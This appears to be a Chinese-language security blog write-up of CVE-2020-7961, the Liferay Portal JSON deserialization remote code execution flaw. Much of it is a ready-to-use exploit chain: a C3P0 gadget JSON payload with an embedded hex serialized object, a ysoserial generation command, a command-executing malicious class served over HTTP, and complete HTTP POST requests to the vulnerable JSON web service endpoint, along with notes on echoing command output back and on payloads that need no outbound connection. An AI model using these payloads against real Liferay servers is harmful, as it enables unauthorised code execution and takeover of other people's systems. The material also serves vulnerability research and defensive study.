漏洞描述

近日,Code White公开了在Liferay Portal中发现的JSON反序列化高危漏洞,未授权的攻击者可以通过精心构造的恶意数据对API接口发起远程代码执行的攻击.
Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户.

漏洞编号

CVE-2020-7961
LPS-88051/LPE-165981

漏洞威胁等级

高危

影响范围

Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X

简单分析

1.漏洞成因

Liferay Portal其实主要是两个版本存在问题,一个是6.X,另一个是7.X.
6.X使用的是Flexjson对json数据进行处理,而7.X则使用Jodd Json.因为api并不接收纯json数据,所以这里我只研究了6.X的Flexjson,但对于api来说payload为通用的并不需要划分版本.

2.Flexjson的RCE

我们先搭建Flexjson的环境,直接使用pom导入如下xml即可

<!-- https://mvnrepository.com/artifact/net.sf.flexjson/flexjson -->
        <dependency>
            <groupId>net.sf.flexjson</groupId>
            <artifactId>flexjson</artifactId>
            <version>3.1</version>
        </dependency>

查阅文档我们可知,Flexjson处理json的写法如下

JSONDeserializer jsonDeserializer = new JSONDeserializer();
        try {
            jsonDeserializer.deserialize(json);
        }catch (Exception e){
            e.printStackTrace();
        }

这里我们只需要传入一个json的字符串即可.如果我们要测试rce,则需要构造一个声明类的恶意json数据.例如声明javax.swing.JEditorPane.

这个类几天前可用作Jackson Databindfastjson的ssrf探测,当然都需要打开autotype开关才行.而在Flexjson中,这个类并不存在于黑名单中,可以直接使用.接下来的问题是如何RCE?我尝试构造了恶意的json,发现C3P0com.sun.rowset.JdbcRowSetImpl这两个gagdet是可以使用的.

这里给出一段C3P0的示例json.

String json2 = "{\"class\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;\"}";

这段payload主要为声明调用的class是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,且使用userOverridesAsString这个setter,对于传入的HexAsciiSerializedMap其实为序列化文件的hex编码.序列化文件我们可以使用ysoserial生成.
java -jar ysoserial.jar C3P0 "http://127.0.0.1/:ExportObject" > 1.ser

C3P0的gagdet使用需要在http协议下进行加载恶意的class,在http协议下使用:进行绑定.我给出如下恶意类的源码.

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
    public ExportObject() throws Exception {
        Process p = Runtime.getRuntime().exec("open -a calculator");
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

既然序列化文件1.ser生成好了怎么转换为hex字节码了?我在CVE-2019-2725的时候就问过好兄弟afanti这个问题,从他那里我得到了答案.

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class Echo3 {
    public Echo3() {
    }

    public static void main(String[] args) throws IOException {
        InputStream in = new FileInputStream("/Users/xue/Documents/NetSafe/Tools/JavaTools/1.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, 4984);
        System.out.println(HexString);
    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[4096];
        boolean var3 = false;

        int n;
        while((n = in.read(buffer)) != -1) {
            out.write(buffer, 0, n);
        }

        return out.toByteArray();
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }

        return sb.toString();
    }

    public static String bytesToHexFun3(byte[] bytes) {
        StringBuilder buf = new StringBuilder(bytes.length * 2);
        byte[] arr$ = bytes;
        int len$ = bytes.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            byte b = arr$[i$];
            buf.append(String.format("%02x", new Integer(b & 255)));
        }

        return buf.toString();
    }
}

我们在这个位置填入ser序列化文件的绝对路径即可转换为hex并打印输出到控制台


好了,既然Flexjson的RCE搞定了我们来说下怎么对Liferay Portal进行rce.

3.Liferay Portal JSON Web Service的RCE
3.1漏洞环境构建

首先我们先下载漏洞环境,这里我使用了官方集成tomcat的环境.
https://cdn.lfrs.sl/releases.liferay.com/portal/7.1.2-ga3/liferay-ce-portal-tomcat-7.1.2-ga3-20190107144105508.7z
下载好以后解压进入liferay-ce-portal-7.1.2-ga3/tomcat-9.0.10/bin目录,然后还是熟悉的./catalina.sh run即可启动环境.

3.2报文构造和gagdets

接着我们可以访问http://localhost:8080/api/jsonws/进入它的api.这里我们可以使用下面的报文格式进行声明类的调用.

POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded

defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:class类名=json数据&columnId=1

例如我们使用C3P0.

POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded

defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;"}&columnId=1

com.sun.rowset.JdbcRowSetImpl的数据构造这里我就不给出了.
对于这个RCE漏洞应该还存在其他的gagdets.我目前在classpath中只发现了C3P0CommonsBeanutils1CommonsCollections10三条gagdets.C3P0中的com.mchange.v2.c3p0.WrapperConnectionPoolDataSource是可以作为序列化文件hex编码加载器加载任意gadgets生成的hex序列化字节码的,比如CommonsBeanutils1CommonsCollections10等,也就是说我们可以构造出不出网的payload.

3.3回显构造

我自行获取了Liferay Portal的context,直接使用它曲线救国的获取到了request和response.

com.liferay.portal.service.ServiceContextThreadLocal.getServiceContext();

PS:当然7.X版本的context包名和6.X是不一致的.

对于中间件是tomcat而言,我们也可以使用长亭发出的tomcat全局request\response;当然对于Unix而言,00theway大哥的Unix通杀回显也可以做到.比起这两种方式,还是手动获取context,拿到response和request更为稳定.
我们这里可以使用C3P0序列化加载hex字节码不出网回显、C3P0远程调用恶意类回显、com.sun.rowset.JdbcRowSetImpljndi注入回显.如果使用C3P0远程调用恶意类回显,我们只需要将回显代码写入到恶意类的构造方法中.感谢chybeta和Ntears的C3P0回显提示.

如果使用jndi注入回显,可以将序列化文件转为base64,然后使用javaSerializedData解码即可.具体的jndi回显实现可以移步文末afanti的文章,同时也是一道某安全公司的Java安全的面试题.

最后我们来看下C3P0远程调用恶意类的回显效果

当然我还是最喜欢手动获取context配合C3P0序列化加载hex字节码构造的不出网回显.
以下为两个版本的不出网回显演示

Reference

https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271
https://www.anquanke.com/post/id/200892

点击收藏 | 1 关注 | 1
登录 后跟帖